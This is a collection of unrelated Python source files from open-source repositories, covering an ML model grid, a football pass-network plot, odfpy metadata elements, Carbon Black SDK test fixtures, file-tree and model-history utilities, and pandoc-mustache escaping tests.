'max_depth': [5, 6], # 'subsample': [0.85], # 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [25, 50, 75, 100, 200], # 'max_depth': [2,3,5], # 'subsample': [0.25, 0.5, 0.75, 1], # 'max_features': [None, 'sqrt', 'log2', 0.5]}), } return(models_and_parameters) def load_models_and_parameters(): models_and_parameters = { 'dummy_reg': (DummyRegressor(), {"strategy": ["mean"]}), 'lasso_reg': (linear_model.Lasso(), {'alpha': np.arange(0.1, 1.0, 0.01), 'max_iter': [10000]}), 'rf_reg': (RandomForestRegressor(), {'n_estimators': [501], 'criterion': ['mae'], 'max_depth': [3, 5, 10], 'max_features': ['auto', 'sqrt', 'log2']}), 'gbm_reg': (GradientBoostingRegressor(), {'n_estimators': [501], 'criterion': ['mae'], # 'loss': ['ls', 'lad'], 'max_depth': [3, 5, 10], 'max_features': ['auto', 'sqrt', 'log2']}), 'dummy': (DummyClassifier(), {"strategy": ["most_frequent"]}), # 'logreg': (LogisticRegression(), # {"class_weight": [None], # "C":[0.1, 0.3, 1,5, 10]}), #, "balanced" 'logreg': (LogisticRegression(), {"class_weight": [None], "C":[0.01,0.1, 1]}), #, "balanced" # "C":[0.1]}), #, "balanced" # 'logreg': (LogisticRegression(), # {}), #, "balanced" # # "C":[0.1]}), #, "balanced" 'lasso': (Lasso(), {"alpha": [0.0001, 0.001],#np.arange(0.01, 1.01, 0.05), 'max_iter': [10000]}), 'lasso2': (LogisticRegression(penalty = 'l1', solver ='saga'), {"C":[0.001, 0.01,0.1, 1]}), # 'lasso2': (LogisticRegression(penalty = 'l1'), # {}), 'elnet': (LogisticRegression(penalty = 'elasticnet', solver = 'saga'), {"C":[0.001, 0.01,0.1, 1], "l1_ratio":[0.01, 0.1, 0.5, 0.9, 0.99]}), 'dt': (DecisionTreeClassifier(), {"criterion": ["entropy"], # "max_depth": [2, 3, 4, 5, 10, 20], # None "max_depth": [1, 2, 3, 4], # None "splitter": ["best", "random"], "min_samples_split": [2, 5, 10], "min_samples_leaf": [3, 5, 10, 15, 20], "random_state": [817263]}), 'svm': (SVC(), {'C': [ 1], 'kernel': ['linear']}), #'poly', 'rbf' 'knn': (KNeighborsClassifier(), {'n_neighbors': [2, 3, 5, 10, 20, 50], 'weights': ['uniform', 'distance']}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [501], # 'max_depth': [3, 5, 10], # 'max_features': ['auto', 'sqrt', 'log2']}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [50, 100, 501, 1000], # 'max_depth': [3,5,7], # "min_samples_split": [2, 5], # 'max_features': ['auto', 0.5], # "class_weight": [None, "balanced"]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [501], # 'max_depth': [5], # "min_samples_split": [5], # 'max_features': ['auto'], # "class_weight": [None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [ 501, 1000, 2000, 4000], # 'max_depth': [5, 7, 9, 11, 13], # "min_samples_split": [2], # 'max_features': ['sqrt', 0.25, 0.5, 0.75, 1.0], # "class_weight": [None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [200, 500, 1000], # 'max_depth': [4, 6, 8, 10], # "min_samples_split": [2, 10], # 'max_features': [0.25, 0.5], # "class_weight": [None]}), 'rf': (RandomForestClassifier(), {'n_estimators': [500, 1000], 'max_depth': [8], "min_samples_split": [10], 'max_features': [0.25], "class_weight": [None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [400, 500, 600], # 'max_depth': [7,8,9], # "min_samples_split": [5,10], # 'max_features': [0.25, 0.5, ]}), # 'rf': (RandomForestClassifier(), # {}), # 'xgb': (xgb.XGBClassifier(), # {}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [600], # 'max_depth': [9], # "min_samples_split": [10], # 'max_features': [0.25]}), # # 'xgb': (xgb.XGBClassifier(), # {'n_estimators': [100,500], # 'max_depth': [3,4,5], # 'learning_rate': [0.1, 0.3], # "reg_alpha": [0, 1], # "reg_lambda": [0.1, 1]}), # 'xgb': (xgb.XGBClassifier(), # {'n_estimators': [500], # 'max_depth': [4], # 'learning_rate': [0.1], # "reg_alpha": [0, 10], # "reg_lambda": [0.1, 10]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [200, 300], # 'learning_rate': [0.01], # 'max_depth': [3,4,5], # 'subsample': [0.35, 0.7], # 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [400], # 'learning_rate': [0.01], # 'max_depth': [5], # 'subsample': [0.75], # 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [300, 400, 500], # 'learning_rate': [0.01, 0.003, 0.4], # 'max_depth': [5, 6, 7], # 'subsample': [0.85, 1], # 'max_features': [0.25, 0.5]}), # 'gbm': (GradientBoostingClassifier(), # {}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [100, 200, 300, 500, 1000, 2000, # 4000], # 'max_depth': [2, 3, 4, 5, 6, 7, # 9], # 'subsample': [0.75, # 1], # 'max_features': ['sqrt', 'log2', 0.25, 0.5, 0.75, # 1.0]}), 'gbm': (GradientBoostingClassifier(), {'n_estimators': [100, 200, 400, 800], 'learning_rate': [0.03, 0.01, 0.001], 'max_depth': [4,5,6,8], 'subsample': [0.85], 'max_features': [0.25, 0.5]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [400, 600], # 'learning_rate': [0.01], # 'max_depth': [5, 6], # 'subsample': [0.85], # 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [25, 50, 75, 100, 200], # 'max_depth': [2,3,5], # 'subsample': [0.25, 0.5, 0.75, 1], # 'max_features': [None, 'sqrt', 'log2', 0.5]}), } return(models_and_parameters) def calc_metrics(y_true, y_pred, return_all = False): res_df = pd.DataFrame({'y_true' : y_true, 'y_pred': y_pred}, columns = ['y_pred', 'y_true']) res_df = res_df.sort_values(by = 'y_pred') res_df['TN'] = (res_df.y_true == 0).cumsum() res_df['FN'] = (res_df.y_true == 1).cumsum() if return_all == False: res_df = pd.concat([pd.DataFrame({'y_true' : -1, 'y_pred': -1, "TN": 0, "FN":0}, index = [-1], columns = ['y_pred', 'y_true', 'TN', "FN"]), res_df], axis = 0) res_df['TP'] = (res_df.y_true == 1).sum() - res_df['FN'] res_df['FP'] = (res_df.y_true == 0).sum() - res_df['TN'] res_df['sens'] = res_df.TP / (res_df.TP + res_df.FN) res_df['spec'] = res_df.TN / (res_df.TN + res_df.FP) res_df['PPV'] = res_df.TP / (res_df.TP + res_df.FP) res_df['accuracy'] = (res_df.TP + res_df.TN) / (res_df.shape[0]) res_df['f1_score'] = 2 * res_df.PPV * res_df.sens / (res_df.PPV + res_df.sens) res_df['youdens_index'] = res_df.sens + res_df.spec - 1 # remove predictions which represent non-separable decision points (i.e., y_pred is equal) if return_all == False: res_df = res_df[(res_df.y_pred.duplicated('last') == False)] return(res_df) def set_up_plot(): # plt.grid(True, 'major', color = 'w', linewidth = 0.7) plt.grid(True, 'major', color = '0.85', linewidth = 0.7) plt.grid(True, 'minor', color = "0.92", linestyle = '-', linewidth = 0.7) ax = plt.gca() plt.xlim([-0.05, 1.05]) plt.ylim([-0.05, 1.05]) ax.set_axisbelow(True) # ax.patch.set_facecolor("0.85") def train_val(RESULT_DIR, alldata, models, label = 'Label', cv = 5, score_name = "AUC", to_exclude = None, test_ind_col = None, oversample_rate = 1, imputer = 'iterative', add_missing_flags = True): from medical_ML import Experiment print('\n\n' + 'STARTING EXPERIMENT FOR ' + RESULT_DIR + '\n\n') expt = Experiment(alldata, label = label, to_exclude = to_exclude, test_ind_col = test_ind_col, drop = 'all', result_dir = RESULT_DIR) expt.predict_models_from_groups(0, models, cv=cv, score_name=score_name, mode='classification', oversample_rate = oversample_rate, imputer = imputer, add_missing_flags = add_missing_flags) expt.save_and_plot_results(models, cv = cv, test = False) return(expt)

4c6c5b767e3d2e7d380bed49701614a213de873b

py

Python

examples/plots/plot_pass_network.py

DymondFormation/mplsoccer

544300857ec5936781e12fda203cf2df8a3d00b9

examples/plots/plot_pass_network.py

DymondFormation/mplsoccer

544300857ec5936781e12fda203cf2df8a3d00b9

examples/plots/plot_pass_network.py

DymondFormation/mplsoccer

544300857ec5936781e12fda203cf2df8a3d00b9

""" ============ Pass Network ============ This example shows how to plot passes between players in a set formation. """ import pandas as pd from mplsoccer.pitch import Pitch from matplotlib.colors import to_rgba import numpy as np from mplsoccer.statsbomb import read_event, EVENT_SLUG ############################################################################## # Set team and match info, and get event and tactics dataframes for the defined match_id match_id = 15946 team = 'Barcelona' opponent = 'Alavés (A), 2018/19 La Liga' event_dict = read_event(f'{EVENT_SLUG}/{match_id}.json', warn=False) players = event_dict['tactics_lineup'] events = event_dict['event'] ############################################################################## # Adding on the last tactics id and formation for the team for each event events.loc[events.tactics_formation.notnull(), 'tactics_id'] = events.loc[ events.tactics_formation.notnull(), 'id'] events[['tactics_id', 'tactics_formation']] = events.groupby('team_name')[[ 'tactics_id', 'tactics_formation']].ffill() ############################################################################## # Add the abbreviated player position to the players dataframe formation_dict = {1: 'GK', 2: 'RB', 3: 'RCB', 4: 'CB', 5: 'LCB', 6: 'LB', 7: 'RWB', 8: 'LWB', 9: 'RDM', 10: 'CDM', 11: 'LDM', 12: 'RM', 13: 'RCM', 14: 'CM', 15: 'LCM', 16: 'LM', 17: 'RW', 18: 'RAM', 19: 'CAM', 20: 'LAM', 21: 'LW', 22: 'RCF', 23: 'ST', 24: 'LCF', 25: 'SS'} players['position_abbreviation'] = players.player_position_id.map(formation_dict) ############################################################################## # Add on the subsitutions to the players dataframe, i.e. where players are subbed on # but the formation doesn't change sub = events.loc[events.type_name == 'Substitution', ['tactics_id', 'player_id', 'substitution_replacement_id', 'substitution_replacement_name']] players_sub = players.merge(sub.rename({'tactics_id': 'id'}, axis='columns'), on=['id', 'player_id'], how='inner', validate='1:1') players_sub = (players_sub[['id', 'substitution_replacement_id', 'position_abbreviation']] .rename({'substitution_replacement_id': 'player_id'}, axis='columns')) players = pd.concat([players, players_sub]) players.rename({'id': 'tactics_id'}, axis='columns', inplace=True) players = players[['tactics_id', 'player_id', 'position_abbreviation']] ############################################################################## # Add player position information to the events dataframe # add on the position the player was playing in the formation to the events dataframe events = events.merge(players, on=['tactics_id', 'player_id'], how='left', validate='m:1') # add on the position the receipient was playing in the formation to the events dataframe events = events.merge(players.rename({'player_id': 'pass_recipient_id'}, axis='columns'), on=['tactics_id', 'pass_recipient_id'], how='left', validate='m:1', suffixes=['', '_receipt']) ############################################################################## # Create dataframes for passes and player locations # get a dataframe with all passes mask_pass = (events.team_name == team) & (events.type_name == 'Pass') to_keep = ['id', 'match_id', 'player_id', 'player_name', 'outcome_name', 'pass_recipient_id', 'pass_recipient_name', 'x', 'y', 'end_x', 'end_y', 'tactics_id', 'tactics_formation', 'position_abbreviation', 'position_abbreviation_receipt'] passes = events.loc[mask_pass, to_keep].copy() print('Formations used by {} in match: '.format(team), passes['tactics_formation'].unique()) ############################################################################## # Filter passes by chosen formation, then group all passes and receipts to # calculate avg x, avg y, count of events for each slot in the formation formation = 433 passes_formation = passes[(passes.tactics_formation == formation) & (passes.position_abbreviation_receipt.notnull())].copy() passer_passes = passes_formation[['position_abbreviation', 'x', 'y']].copy() recipient_passes = passes_formation[['position_abbreviation_receipt', 'end_x', 'end_y']].copy() # rename columns to match those in passer_passes recipient_passes.rename({'position_abbreviation_receipt': 'position_abbreviation', 'end_x': 'x', 'end_y': 'y'}, axis='columns', inplace=True) # create a new dataframe containing all individual passes and receipts from passes_formation appended_passes = pd.concat(objs=[passer_passes, recipient_passes], ignore_index=True) average_locs_and_count = appended_passes.groupby('position_abbreviation').agg({ 'x': ['mean'], 'y': ['mean', 'count']}) average_locs_and_count.columns = ['x', 'y', 'count'] ############################################################################## # Group the passes by unique pairings of players and add the avg player positions to this dataframe # calculate the number of passes between each position (using min/ max so we get passes both ways) passes_formation['pos_max'] = passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].max(axis='columns') passes_formation['pos_min'] = passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].min(axis='columns') passes_between = passes_formation.groupby(['pos_min', 'pos_max']).id.count().reset_index() passes_between.rename({'id': 'pass_count'}, axis='columns', inplace=True) # add on the location of each player so we have the start and end positions of the lines passes_between = passes_between.merge(average_locs_and_count, left_on='pos_min', right_index=True) passes_between = passes_between.merge(average_locs_and_count, left_on='pos_max', right_index=True, suffixes=['', '_end']) ############################################################################## # Calculate the line width and marker sizes relative to the largest counts max_line_width = 18 max_marker_size = 3000 passes_between['width'] = passes_between.pass_count / passes_between.pass_count.max() * max_line_width average_locs_and_count['marker_size'] = (average_locs_and_count['count'] / average_locs_and_count['count'].max() * max_marker_size) ############################################################################## # Set color to make the lines more transparent when fewer passes are made min_transparency = 0.3 color = np.array(to_rgba('white')) color = np.tile(color, (len(passes_between), 1)) c_transparency = passes_between.pass_count / passes_between.pass_count.max() c_transparency = (c_transparency * (1 - min_transparency)) + min_transparency color[:, 3] = c_transparency ############################################################################## # Plotting pitch = Pitch(pitch_type='statsbomb', orientation='horizontal', pitch_color='#22312b', line_color='#c7d5cc', figsize=(16, 11), constrained_layout=True, tight_layout=False) fig, ax = pitch.draw() pass_lines = pitch.lines(passes_between.x, passes_between.y, passes_between.x_end, passes_between.y_end, lw=passes_between.width, color=color, zorder=1, ax=ax) pass_nodes = pitch.scatter(average_locs_and_count.x, average_locs_and_count.y, s=average_locs_and_count.marker_size, color='red', edgecolors='black', linewidth=1, alpha=1, ax=ax) for index, row in average_locs_and_count.iterrows(): pitch.annotate(row.name, xy=(row.x, row.y), c='white', va='center', ha='center', size=16, weight='bold', ax=ax) title = ax.set_title("{} {} Formation vs {}".format(team, formation, opponent), size=28, y=0.97, color='#c7d5cc') fig.set_facecolor("#22312b")

d5b2899060598acf5361fb2c9db968e61435c9da

py

Python

env/lib/python3.6/site-packages/odf/meta.py

anthowen/duplify

846d01c1b21230937fdf0281b0cf8c0b08a8c24e

2015-01-01T03:39:46.000Z

2022-03-31T07:38:22.000Z

env/lib/python3.6/site-packages/odf/meta.py

anthowen/duplify

846d01c1b21230937fdf0281b0cf8c0b08a8c24e

2015-01-01T08:06:24.000Z

2022-03-30T19:48:52.000Z

env/lib/python3.6/site-packages/odf/meta.py

anthowen/duplify

846d01c1b21230937fdf0281b0cf8c0b08a8c24e

2015-01-04T07:18:02.000Z

2022-03-28T19:55:47.000Z

# -*- coding: utf-8 -*- # Copyright (C) 2006-2007 Søren Roug, European Environment Agency # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA # # Contributor(s): # from odf.namespaces import METANS from odf.element import Element # Autogenerated def AutoReload(**args): return Element(qname = (METANS,'auto-reload'), **args) def CreationDate(**args): return Element(qname = (METANS,'creation-date'), **args) def DateString(**args): return Element(qname = (METANS,'date-string'), **args) def DocumentStatistic(**args): return Element(qname = (METANS,'document-statistic'), **args) def EditingCycles(**args): return Element(qname = (METANS,'editing-cycles'), **args) def EditingDuration(**args): return Element(qname = (METANS,'editing-duration'), **args) def Generator(**args): return Element(qname = (METANS,'generator'), **args) def HyperlinkBehaviour(**args): return Element(qname = (METANS,'hyperlink-behaviour'), **args) def InitialCreator(**args): return Element(qname = (METANS,'initial-creator'), **args) def Keyword(**args): return Element(qname = (METANS,'keyword'), **args) def PrintDate(**args): return Element(qname = (METANS,'print-date'), **args) def PrintedBy(**args): return Element(qname = (METANS,'printed-by'), **args) def Template(**args): args.setdefault('type', 'simple') return Element(qname = (METANS,'template'), **args) def UserDefined(**args): return Element(qname = (METANS,'user-defined'), **args)

d5b2ddd3598b303bcb8230980f8ef5b2b4388ef0

py

Python

src/tests/unit/fixtures/endpoint_standard/mock_recommendation.py

fslds/carbon-black-cloud-sdk-python

248a3c63d6b36d6fcdbcb3f51fb7751f062ed372

2020-10-16T22:07:38.000Z

2022-03-24T14:58:03.000Z

src/tests/unit/fixtures/endpoint_standard/mock_recommendation.py

fslds/carbon-black-cloud-sdk-python

248a3c63d6b36d6fcdbcb3f51fb7751f062ed372

2020-10-26T18:26:15.000Z

2022-03-31T17:31:02.000Z

src/tests/unit/fixtures/endpoint_standard/mock_recommendation.py

fslds/carbon-black-cloud-sdk-python

248a3c63d6b36d6fcdbcb3f51fb7751f062ed372

2020-11-09T11:54:23.000Z

2022-03-24T20:44:00.000Z

"""Mock responses for recommendations.""" SEARCH_REQ = { "criteria": { "policy_type": ['reputation_override'], "status": ['NEW', 'REJECTED', 'ACCEPTED'], "hashes": ['111', '222'] }, "rows": 50, "sort": [ { "field": "impact_score", "order": "DESC" } ] } SEARCH_RESP = { "results": [ { "recommendation_id": "91e9158f-23cc-47fd-af7f-8f56e2206523", "rule_type": "reputation_override", "policy_id": 0, "new_rule": { "override_type": "SHA256", "override_list": "WHITE_LIST", "sha256_hash": "32d2be78c00056b577295aa0943d97a5c5a0be357183fcd714c7f5036e4bdede", "filename": "XprotectService", "application": { "type": "EXE", "value": "FOO" } }, "workflow": { "status": "NEW", "changed_by": "rbaratheon@example.com", "create_time": "2021-05-18T16:37:07.000Z", "update_time": "2021-08-31T20:53:39.000Z", "comment": "Ours is the fury" }, "impact": { "org_adoption": "LOW", "impacted_devices": 45, "event_count": 76, "impact_score": 0, "update_time": "2021-05-18T16:37:07.000Z" } }, { "recommendation_id": "bd50c2b2-5403-4e9e-8863-9991f70df026", "rule_type": "reputation_override", "policy_id": 0, "new_rule": { "override_type": "SHA256", "override_list": "WHITE_LIST", "sha256_hash": "0bbc082cd8b3ff62898ad80a57cb5e1f379e3fcfa48fa2f9858901eb0c220dc0", "filename": "sophos ui.msi" }, "workflow": { "status": "NEW", "changed_by": "tlannister@example.com", "create_time": "2021-05-18T16:37:07.000Z", "update_time": "2021-08-31T20:53:09.000Z", "comment": "Always pay your debts" }, "impact": { "org_adoption": "HIGH", "impacted_devices": 8, "event_count": 25, "impact_score": 0, "update_time": "2021-05-18T16:37:07.000Z" } }, { "recommendation_id": "0d9da444-cfa7-4488-9fad-e2abab099b68", "rule_type": "reputation_override", "policy_id": 0, "new_rule": { "override_type": "SHA256", "override_list": "WHITE_LIST", "sha256_hash": "2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124", "filename": "mimecast for outlook 7.8.0.125 (x86).msi" }, "workflow": { "status": "NEW", "changed_by": "estark@example.com", "create_time": "2021-05-18T16:37:07.000Z", "update_time": "2021-08-31T15:13:40.000Z", "comment": "Winter is coming" }, "impact": { "org_adoption": "MEDIUM", "impacted_devices": 45, "event_count": 79, "impact_score": 0, "update_time": "2021-05-18T16:37:07.000Z" } } ], "num_found": 3 } ACTION_INIT = { "recommendation_id": "0d9da444-cfa7-4488-9fad-e2abab099b68", "rule_type": "reputation_override", "policy_id": 0, "new_rule": { "override_type": "SHA256", "override_list": "WHITE_LIST", "sha256_hash": "2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124", "filename": "mimecast for outlook 7.8.0.125 (x86).msi" }, "workflow": { "status": "NEW", "changed_by": "estark@example.com", "create_time": "2021-05-18T16:37:07.000Z", "update_time": "2021-08-31T15:13:40.000Z", "comment": "Winter is coming" }, "impact": { "org_adoption": "MEDIUM", "impacted_devices": 45, "event_count": 79, "impact_score": 0, "update_time": "2021-05-18T16:37:07.000Z" } } ACTION_REQS = [ { "action": "ACCEPT", "comment": "Alpha" }, { "action": "RESET" }, { "action": "REJECT", "comment": "Charlie" }, ] ACTION_REFRESH_SEARCH = { "criteria": { "status": ['NEW', 'REJECTED', 'ACCEPTED'], "policy_type": ['reputation_override'] }, "rows": 50 } ACTION_SEARCH_RESP = { "results": [ACTION_INIT], "num_found": 1 } ACTION_REFRESH_STATUS = ['ACCEPTED', 'NEW', 'REJECTED'] ACTION_INIT_ACCEPTED = { "recommendation_id": "0d9da444-cfa7-4488-9fad-e2abab099b68", "rule_type": "reputation_override", "policy_id": 0, "new_rule": { "override_type": "SHA256", "override_list": "WHITE_LIST", "sha256_hash": "2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124", "filename": "mimecast for outlook 7.8.0.125 (x86).msi" }, "workflow": { "status": "ACCEPTED", "ref_id": "e9410b754ea011ebbfd0db2585a41b07", "changed_by": "estark@example.com", "create_time": "2021-05-18T16:37:07.000Z", "update_time": "2021-08-31T15:13:40.000Z", "comment": "Winter is coming" }, "impact": { "org_adoption": "MEDIUM", "impacted_devices": 45, "event_count": 79, "impact_score": 0, "update_time": "2021-05-18T16:37:07.000Z" } }

d5b58f8a34e9535374ceecc69e4b47358c97ddb9

py

Python

flametree/utils.py

Edinburgh-Genome-Foundry/Flametree

a189de5d83ca1eb3526a439320e41df9e2a1162e

2017-02-04T00:40:01.000Z

2021-06-08T03:51:58.000Z

flametree/utils.py

Edinburgh-Genome-Foundry/Flametree

a189de5d83ca1eb3526a439320e41df9e2a1162e

2017-02-10T00:47:09.000Z

2021-05-30T04:38:41.000Z

flametree/utils.py

Edinburgh-Genome-Foundry/Flametree

a189de5d83ca1eb3526a439320e41df9e2a1162e

2017-02-09T17:38:31.000Z

2021-03-23T16:04:32.000Z

import os import shutil from .ZipFileManager import ZipFileManager from .DiskFileManager import DiskFileManager from .Directory import Directory import string printable = set(string.printable) - set("\x0b\x0c") def is_hex(s): return any(c not in printable for c in s) def file_tree(target, replace=False): """Open a connection to a file tree which can be either a disk folder, a zip archive, or an in-memory zip archive. Parameters ---------- target Either the path to a target folder, or a zip file, or '@memory' to write a zip file in memory (at which case a string of the zip file is returned) If the target is already a flametree directory, it is returned as-is. replace If True, will remove the target if it already exists. If False, new files will be written inside the target and some files may be overwritten. """ if isinstance(target, Directory): return target if (not isinstance(target, str)) or is_hex(target): return Directory(file_manager=ZipFileManager(source=target)) elif target == "@memory": return Directory("@memory", file_manager=ZipFileManager("@memory")) elif target.lower().endswith(".zip"): return Directory(target, file_manager=ZipFileManager(target, replace=replace)) else: return Directory(target, file_manager=DiskFileManager(target))

d5bd90ba6b204f06ed13dd7eaecdd9ec577e33cb

py

Python

src/models/utils_func.py

Soufiane-Fartit/cars-prices

8eee8aa168251adab7f4947c45a78752e4145041

src/models/utils_func.py

Soufiane-Fartit/cars-prices

8eee8aa168251adab7f4947c45a78752e4145041

src/models/utils_func.py

Soufiane-Fartit/cars-prices

8eee8aa168251adab7f4947c45a78752e4145041

# -*- coding: utf-8 -*- """ This module offers util functions to be called and used in other modules """ from datetime import datetime import os import json import pickle import string import random import numpy as np import pandas as pd from matplotlib import pyplot as plt import seaborn as sns from sklearn import tree def id_generator(size=6, chars=string.ascii_lowercase + string.digits): """GENERATE A RANDOM STRING TO BE USED AS AN ID Args: size (int, optional): size of the string. Defaults to 6. chars (str, optional): charachters to be used to generate the string. Defaults to string.ascii_lowercase+string.digits. Returns: [str]: a random chain of charachters """ return "".join(random.choice(chars) for _ in range(size)) def save_model(path, model): """SAVE MODEL INTO PICKLE FILE Args: path (str): path where to save the model model (binary): the model to be saved """ with open(path, "wb") as file: pickle.dump(model, file) def update_history(models_hist_path, model_id, model_name, model, params): """SAVE METADATA RELATED TO THE TRAINED MODEL INTO THE HISTORY FILE Args: models_hist_path (str): path to the history file model_id (str): unique id of the model model_name (str): model name = "model_"+model_id+".pkl" model (binary): binary file of the model params (dict): dictionnary containing the hyper-parameters used to fit the model """ model_metadata = dict() model_metadata["trained"] = str(datetime.now()) model_metadata["model_type"] = type(model).__name__ model_metadata["model_id"] = model_id model_metadata["params"] = params print(model_metadata) with open(models_hist_path, "r+") as outfile: try: hist = json.load(outfile) hist[model_name] = model_metadata outfile.seek(0) json.dump(hist, outfile, indent=4) except json.decoder.JSONDecodeError: json.dump({model_name: model_metadata}, outfile, indent=4) def update_history_add_eval( models_hist_path, model_id=None, model_name=None, metrics=None ): """ADD EVALUATION METRICS THE HISTORY FILE FOR THE SPECIFIED MODEL Args: models_hist_path (str): path to the history file model_id (str, optional): the id of the model. Defaults to None. model_name (str, optional): the name of the model. Defaults to None. metrics (dict, optional): a dictionnary containing metadata related to the model evaluation. Defaults to None. """ assert ( model_id is not None or model_name is not None ), "At least the model id or name must be given" assert models_hist_path is not None, "You must specify the path to the history file" if not model_name: model_name = "model_" + model_id + ".pkl" eval_metadata = dict() eval_metadata["datetime"] = str(datetime.now()) eval_metadata["metrics"] = metrics with open(models_hist_path, "r+") as outfile: try: hist = json.load(outfile) hist[model_name]["evaluation"] = eval_metadata outfile.seek(0) json.dump(hist, outfile, indent=4) except json.decoder.JSONDecodeError: print("cannot save evaluation metadata") def generate_features_importance_plot(model, features, model_id): """GENERATES A PLOT DESCRIBING FEATURES IMPORTANCE FOR THE MODEL TO MAKE THE PREDICTION. Args: model (tree-based model): a tree based model (decision tree, random forest ...) features (pandas dataframe): a table of the features on which we trained the model model_id (str): the unique id of the model """ mean_importances = model.feature_importances_ importances_indices = np.argsort(mean_importances)[::-1] ordered_columns = [features.columns[i] for i in importances_indices] importances = pd.DataFrame( [tree.feature_importances_ for tree in model.estimators_], columns=features.columns, ) importances = importances[ordered_columns] _, ax = plt.subplots(figsize=(12, 8)) sns.boxplot(x="variable", y="value", ax=ax, data=pd.melt(importances)) figure = ax.get_figure() figure.savefig( "models/models-training/run_" + model_id + "/features_importance.png" ) def plot_trees(rf, feature_names, target_names, model_id): """GENERATES A PLOT THAT SHOWS THE DECISION MAKING OF THE TREES Args: rf (model): a tree based model (random forest ...) feature_names (list): names of the columns of the training set target_names (str): name of the target columns model_id (str): unique id of the model """ fn = feature_names cn = target_names fig, axes = plt.subplots(nrows=1, ncols=5, figsize=(10, 2), dpi=900) for index in range(0, 5): tree.plot_tree( rf.estimators_[index], feature_names=fn, class_names=cn, filled=True, ax=axes[index], ) axes[index].set_title("Estimator: " + str(index), fontsize=11) fig.savefig("models/models-training/run_" + model_id + "/Trees.png") def get_id_list(N=6): print (os.getcwd()) print([x[0] for x in os.walk("../../models/models-training")]) return [x[0][-N:] for x in os.walk("../../models/models-training")][1:]

d5c9c3dcfd93144a733bdffa2a7d7a7dc364d51d

py

Python

tests/test_html_escaping.py

copart/pandoc-mustache

f6ace29cd0c8d6b4d8f182eedcf36ad38a2412fa

2017-12-27T05:57:00.000Z

2022-03-18T10:07:28.000Z

tests/test_html_escaping.py

copart/pandoc-mustache

f6ace29cd0c8d6b4d8f182eedcf36ad38a2412fa

2018-02-07T11:20:37.000Z

2021-04-22T21:44:19.000Z

tests/test_html_escaping.py

copart/pandoc-mustache

f6ace29cd0c8d6b4d8f182eedcf36ad38a2412fa

2018-11-05T13:10:35.000Z

2021-08-30T18:14:02.000Z

""" Test that escaping characters for HTML is disabled. """ import os, subprocess def test_escape_singlequote(tmpdir): # Define empty dictionaries doc = {} template = {} # Prepare file names doc['path'] = tmpdir.join("document.md") template['path'] = tmpdir.join("template.yaml") # Prepare file contents doc['metadata'] = '''--- mustache: {mustachefile} --- ''' doc['mfiles'] = { "mustachefile": template['path'] } doc['text'] = 'Hello {{place}}' template['content'] = "place: world ' universe" # Write contents to files with open(doc['path'].strpath, "a") as myfile: myfile.write(doc['metadata'].format(**doc['mfiles'])) myfile.write(doc['text']) template['path'].write(template['content']) # Run pandoc output = subprocess.check_output(["pandoc", doc['path'].strpath, "--filter", "pandoc-mustache", "--to=plain"], universal_newlines=True) # Test output assert output == "Hello world ' universe\n" def test_escape_gt(tmpdir): # Define empty dictionaries doc = {} template = {} # Prepare file names doc['path'] = tmpdir.join("document.md") template['path'] = tmpdir.join("template.yaml") # Prepare file contents doc['metadata'] = '''--- mustache: {mustachefile} --- ''' doc['mfiles'] = { "mustachefile": template['path'] } doc['text'] = 'Hello {{place}}' template['content'] = "place: world > universe" # Write contents to files with open(doc['path'].strpath, "a") as myfile: myfile.write(doc['metadata'].format(**doc['mfiles'])) myfile.write(doc['text']) template['path'].write(template['content']) # Run pandoc output = subprocess.check_output(["pandoc", doc['path'].strpath, "--filter", "pandoc-mustache", "--to=plain"], universal_newlines=True) # Test output assert output == "Hello world > universe\n" def test_escape_ampersand(tmpdir): # Define empty dictionaries doc = {} template = {} # Prepare file names doc['path'] = tmpdir.join("document.md") template['path'] = tmpdir.join("template.yaml") # Prepare file contents doc['metadata'] = '''--- mustache: {mustachefile} --- ''' doc['mfiles'] = { "mustachefile": template['path'] } doc['text'] = 'Hello {{place}}' template['content'] = "place: world & universe" # Write contents to files with open(doc['path'].strpath, "a") as myfile: myfile.write(doc['metadata'].format(**doc['mfiles'])) myfile.write(doc['text']) template['path'].write(template['content']) # Run pandoc output = subprocess.check_output(["pandoc", doc['path'].strpath, "--filter", "pandoc-mustache", "--to=plain"], universal_newlines=True) # Test output assert output == "Hello world & universe\n"

d5cee84d7663e55b77b23428667b37ccfb80fbf9

py

Python

scripts/kconfig-split.py

Osirium/linuxkit

b710224cdf9a8425a7129cdcb84fc1af00f926d7

2017-04-18T15:19:24.000Z

2022-03-30T19:34:42.000Z

scripts/kconfig-split.py

Osirium/linuxkit

b710224cdf9a8425a7129cdcb84fc1af00f926d7

2017-04-18T16:15:20.000Z

2022-03-31T06:14:17.000Z

scripts/kconfig-split.py

Osirium/linuxkit

b710224cdf9a8425a7129cdcb84fc1af00f926d7

2017-04-18T15:19:33.000Z

2022-03-31T20:23:20.000Z

